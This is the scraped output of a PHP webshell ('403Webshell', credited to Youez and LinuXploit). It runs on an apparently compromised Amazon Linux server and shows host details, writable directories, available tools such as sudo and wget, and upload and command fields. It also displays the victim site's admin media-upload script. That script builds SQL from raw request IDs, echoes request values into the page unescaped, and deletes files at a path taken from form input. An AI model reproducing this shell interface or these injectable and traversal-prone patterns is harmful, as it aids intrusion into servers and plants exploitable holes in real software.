403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewdev/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewdev/admin/mod/media_form.php
<?php require('_mod_security.php'); ?>
<?php
	form_prep('', 'basic_info', 'frm_media');
	$_POST['media_cat'] = empty($_POST['media_cat']) ? $_GET['cat'] : $_POST['media_cat'];
	$_POST['media_type'] = empty($_POST['media_type']) ? $_GET['type'] : $_POST['media_type'];
	if (($_POST['form_submitted'] ?? '') === '1') :
		form_prep_submit();
		form_validate('media_desc', 'text', true);
		form_validate('media_cat', 'text', true);
		if ($action == 'Add New' && empty($_POST['media_filename_filename'])) :
			form_validate('media_filename', 'file', true);
		endif;
		if (!$err_flag) :
			/* ***************** store media **************** */
			if (isset($_FILES['media_filename']) && !empty($_FILES['media_filename']['name'])) :
				$upload_file_name = strtolower(pathinfo($_FILES['media_filename']['name'], PATHINFO_FILENAME));
				$upload_file_name = str_replace(' ','_',$upload_file_name);
				$upload_file_name = preg_replace('/[^0-9a-z\.\_\-]/i','',$upload_file_name);
				$upload_file_name = random_append_filename($upload_file_name);
				$target_dir = APP_ROOT_MEDIA_DIR.'/'.$_POST['media_path'];
				if (!is_dir($target_dir)) :
					mkdir($target_dir, 0777, true);
				endif;
				$img_upload_result = upload_image('media_filename', $upload_file_name, $target_dir, 2000, 8388608, $_POST['media_path'], true);
				if ($img_upload_result['success'] === true) :
					if ($action == 'Edit' && !empty($_POST['media_filename_filename'])) :
						$delfile = APP_ROOT_MEDIA_DIR.'/'.$_POST['media_path'].$_POST['media_filename_filename'];
						unlink($delfile);
					endif;
					$_POST['media_filename_filename'] = $img_upload_result['filename'];
					$_POST['hash'] = $img_upload_result['hash'];
				else :
					$ar_err['media_filename'] = $img_upload_result['status'];
					$err_flag = true;
					$err_tab = 'basic_info';
				endif;
			else :
				$upload_file_name = $_POST['media_filename_filename'];
			endif;
			/* ************************************************ */
			if (!$err_flag) :
				try {
					$db->beginTransaction();
					$set = sql_set_update() . form_generate_set(true);
					if ($action == 'Edit') :
						$sql = "UPDATE media set ".$set.
							"WHERE id = ".nz(trim($_REQUEST['id']), '0')." ";
						//echo '==='.$sql.'===';
						save_db_revision('media', $sql);
						post_set_update();
					elseif ($action == 'Add New') :
						$sql = "INSERT INTO media SET ".
							sql_set_create() .
							$set;
						$db->query($sql);
						$_REQUEST['id'] = last_id();
						$_POST['id'] = $_REQUEST['id'];
						post_set_create_update();
					endif;
					$db->commit();
				} catch(Exception $e) {
					db_err_rollback($e);
				}
				form_success(['cat' => $_POST['media_cat'], 'type' => $_POST['media_type']]);
			else :
				$active_tab = $err_tab;
				$form_message = "Errors found!";
			endif;
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM media WHERE id = ".nz(trim($_REQUEST['id']), '0')." ";
			if (!get_row_to_post($sql)) :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
			$_POST['media_filename_filename'] = $_POST['media_filename'];
		elseif ($action == 'Add New') :
		endif;
	endif;
	
?>

<script>
	function update_media_path()
	{
		$('#media_path').val($('#media_type').val() + '/' + $('#media_cat').val() + '/');
	}
	
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	function update_header()
	{
		if ($("#media_desc").val() > "" ) {
			$("#header_repeater").text(" - " + $("#media_desc").val());
		}
	}
	
	$(document).ready(function() {
		switch_tab('<?php echo $active_tab; ?>');
		update_header();
		set_dirty_event();
	});
</script>

<h1>Media - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form name="frm_media" id="frm_media" method="post" enctype="multipart/form-data" action="">
	<input name="form_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php
		form_button_strip('top');
		form_tab_strip_start();
		form_tab_header('basic_info', 'Basic Info', '');
		if (!empty($_REQUEST['id'])) :
			form_tab_header('revisions', 'Revisions', 'admin,dataentry');
		endif;
		form_tab_strip_end();
		//******************************************************************************************
		form_tab_start('basic_info', 'Basic Info');

		form_column_start();
		form_field(['fname'=>'media_desc', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>3, 'frequired'=>true, 'fdbname'=>'media_desc', 'flabel'=>'Media Description', 'onblur'=>'update_header();']);
		form_field(['fname'=>'media_cat', 'ftype'=>'select', 'fsize'=>25, 'frequired'=>true, 'readonly'=>false, 'fdbname'=>'media_cat', 'flabel'=>'Media Category', 'ar_group'=>APP_MEDIA_CATEGORIES, 'onchange'=>'update_media_path();']);
		form_field(['fname'=>'media_type', 'ftype'=>'select', 'fsize'=>25, 'frequired'=>true, 'fdbname'=>'media_type', 'flabel'=>'Media Type', 'ar_group'=>APP_MEDIA_TYPES, 'onchange'=>'update_media_path();']);
		$_POST['media_path'] = $_POST['media_type'].'/'.$_POST['media_cat'].'/';
		form_field(['fname'=>'media_path', 'ftype'=>'text', 'fsize'=>255, 'readonly'=>true, 'fdbname'=>'media_path', 'flabel'=>'Media Path']);
		form_field(['fname'=>'hash', 'ftype'=>'text', 'fsize'=>255, 'readonly'=>true, 'fdbname'=>'hash', 'flabel'=>'Hash']);
		//form_field(['fname'=>'media_filename', 'ftype'=>'text', 'fsize'=>255, 'readonly'=>true, 'fdbname'=>'media_filename', 'flabel'=>'Media Filename']);
		form_field(['fname'=>'media_credit', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>3, 'frequired'=>false, 'fdbname'=>'media_credit', 'flabel'=>'Media Credit']);
		form_column_end();

		form_column_start('max-width:750px;');
		form_field(['fname'=>'media_filename', 'ftype'=>'image', 'fsize'=>10, 'frequired'=>true, 'fdbname'=>'media_filename', 'flabel'=>'Media File Upload', 'qtip'=>'This will cover the micro-site background.  Please make sure the image is large, preferrably 1200 pixels or wider.']);
		if (!empty($_POST['media_filename_filename'])) :
			echo '<div style="width:100%; max-width:750px; text-align:center; margin-left:auto; margin-right:auto; margin-top:10px;">';
			echo '<img src="../'.$_POST['media_path'].$_POST['media_filename_filename'].'" style="max-width:100%;" align="top"  />';
			echo '<p>' . $_POST['media_filename_filename'] . '</p>';
			echo '</div>';
		endif;
		form_column_end();

		form_tab_end();
		//*****************************************************************
		form_tab_revisions('media', $_REQUEST['id']);
		form_button_strip('bottom');
	?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit